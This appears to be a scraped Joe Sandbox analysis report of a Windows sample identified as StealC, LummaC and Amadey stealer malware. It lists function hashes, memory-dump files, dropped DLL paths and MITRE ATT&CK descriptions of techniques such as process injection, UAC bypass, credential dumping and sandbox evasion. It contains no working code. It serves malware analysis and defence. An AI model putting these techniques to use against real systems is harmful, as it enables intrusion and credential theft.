Instruction Fuzzy Hash: 4DB14632D002499FEB11CF28D8917EEBBF5EF55360F14426AE855EB2C2D6388D42CB60

Function 009EBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 009EBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 009EBBE4
_xtime_get.LIBCPMT ref: 009EBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 009EBC13

Memory Dump Source

Source File: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2325104692.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325130475.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325318972.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325450813.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326226081.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326369595.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326392466.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326489783.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326511766.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326535826.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326557056.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326578533.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326599686.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326625191.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326646077.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326664390.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326683930.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326705684.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326758169.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326778118.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326800921.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326822605.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326844832.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326869977.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326891202.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326921867.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326953418.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326971860.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326993668.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327014751.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327035031.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327055918.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327078417.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327105729.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327133635.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327218983.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327238246.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327259189.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327279713.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327300655.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327321829.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327344488.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327365139.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: a3da72e5dff52e3a4e9ffaececd4f4d5a91f3933fb772cc2eba7dc4b71bd4b88
Instruction ID: 19c3b3b8a110a30b0d9baebd642033a8cc80a48971328818fabd6a5b8ab78593
Opcode Fuzzy Hash: a3da72e5dff52e3a4e9ffaececd4f4d5a91f3933fb772cc2eba7dc4b71bd4b88
Instruction Fuzzy Hash: 512133B5900159AFDF01EFA5DC85ABFB779EF48710F110425F941B7251DB34AD029B90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\EGCFIDAFBFBAKFHJEGIJ

C:\ProgramData\FCBFBGDB

C:\ProgramData\HJDBKJKFIECAAAKFBFBF

C:\ProgramData\IDBGHDGH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\258e650b63.exe.log

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre